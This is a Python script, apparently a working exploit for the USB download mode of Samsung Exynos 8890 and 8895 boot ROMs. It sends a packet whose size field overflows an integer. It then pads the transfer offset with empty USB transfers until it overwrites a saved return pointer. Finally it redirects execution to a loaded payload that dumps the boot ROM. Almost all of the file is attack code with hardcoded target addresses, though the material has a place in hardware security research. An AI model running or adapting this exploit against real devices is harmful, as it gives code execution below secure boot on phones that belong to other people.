import usb.core
import usb.util
import struct, sys, usb1, libusb1, ctypes
# from ghidra_assistant.utils.utils import *

def p32(x):
    return struct.pack("<I", x)

def p8(x):
    return struct.pack("<B", x)

def p16(x):
    return struct.pack("<H", x)

def p64(x):
    return struct.pack("<Q", x)

BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)

DL_BUFFER_START = 0x02021800
DL_BUFFER_SIZE = 0x4E800 #0x02070000 End

BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb

TARGET_OFFSETS = {
    # XFER_BUFFER,	RA_PTR, XFER_END_SIZE
    "8890": (0x02021800, 0x02020F08, 0x02070000),
    "8895": (0x02021800, 0x02020F18, 0x02070000)
}

ENDPOINT_BULK_IN = 0x81
ENDPOINT_BULK_OUT = 0x2

class ExynosDevice():

    def __init__(self, idVendor=0x04e8, idProduct=0x1234):
        """Init with vendor/product IDs"""
        self.idVendor = idVendor
        self.idProduct = idProduct
        self.target = "8890"  # TODO auto detect device
        self.connect_device()

    def connect_device(self):
        self.context = usb1.USBContext()
        while True:
            self.handle = self.context.openByVendorIDAndProductID(
                vendor_id=self.idVendor,
                product_id=self.idProduct,
                skip_on_error=True
            )
            if self.handle == None:
                continue
            break

        print("Connected device!")

    def write(self, data, size=-1):
        transfered = 0
        transferred = ctypes.c_int()
        if size == -1:
            size = len(data)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
        assert(res == 0)
        return transfered

    def send_empty_transfer(self):
        transfered = 0x200
        transferred = ctypes.c_int()
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
        assert(res == 0)
        return transfered

    def test_bug(self):
        # Start by sending a valid packet
        # Integer overflow in the size field
        # unk + size + payload + header
        payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)

        assert (len(payload) == BLOCK_SIZE)
        self.write(payload, MAX_PAYLOAD_SIZE) 

        for i in range(200):            
            print(hex(self.send_empty_transfer()))
        
        print('Bug probably available')
        sys.exit(0)

    def exploit(self, payload: bytes):
        current_offset = TARGET_OFFSETS[self.target][0]
        transferred = ctypes.c_int()
        
        size_to_overflow = 0x100000000 - current_offset + TARGET_OFFSETS[self.target][1] + 8 + 6 
        max_payload_size = 0x100000000 - size_to_overflow
        ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE)
        
        # max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
        # max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200 
        payload = payload + ((max_payload_size - len(payload)) * b"\x00")
        assert len(payload) == max_payload_size, "Invalid payload"
        
        # First send payload to trigger the bug
        bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
        bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
        assert res == 0, "Error triggering payload"
        assert transferred.value == len(bug_payload), "Invalid transfered size"
        current_offset += len(bug_payload) - 8  # Remove header
        
        # Send the actual payload
        # res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
        # assert res == 0, "Error sending payload"
        # current_offset += len(payload)
        
        cnt = 0
        while True:
            if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]:
                break
            self.send_empty_transfer()
            current_offset += CHUNK_SIZE
            cnt += 1
            if current_offset > 0x100000000:
                current_offset = current_offset - 0x100000000 #reset 32 byte integer
            print(f"{cnt} {hex(current_offset)}")
        
        remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
        assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
        if remaining > BLOCK_SIZE:
            self.send_empty_transfer()
            # Send last transfer, TODO who aligns this ROM??
            current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
            cnt += 1
            print(f"{cnt} {hex(current_offset)}")
            
        # Build ROP chain.
        rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
        transferred = ctypes.c_int(0)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
        # assert transferred.value == len(rop_chain), "Error sending ROP chain"
        
        buf = ctypes.c_buffer(b"", 0x200000)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 1000)
        
        
        pass


if __name__ == "__main__":
    # wait_for_device()
    exynos = ExynosDevice()
    path = "dump/exynos-usbdl/payloads/Exynos8890_dump_bootrom.bin"
    # path = "/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin"
    exynos.exploit(open(path, "rb").read())
    pass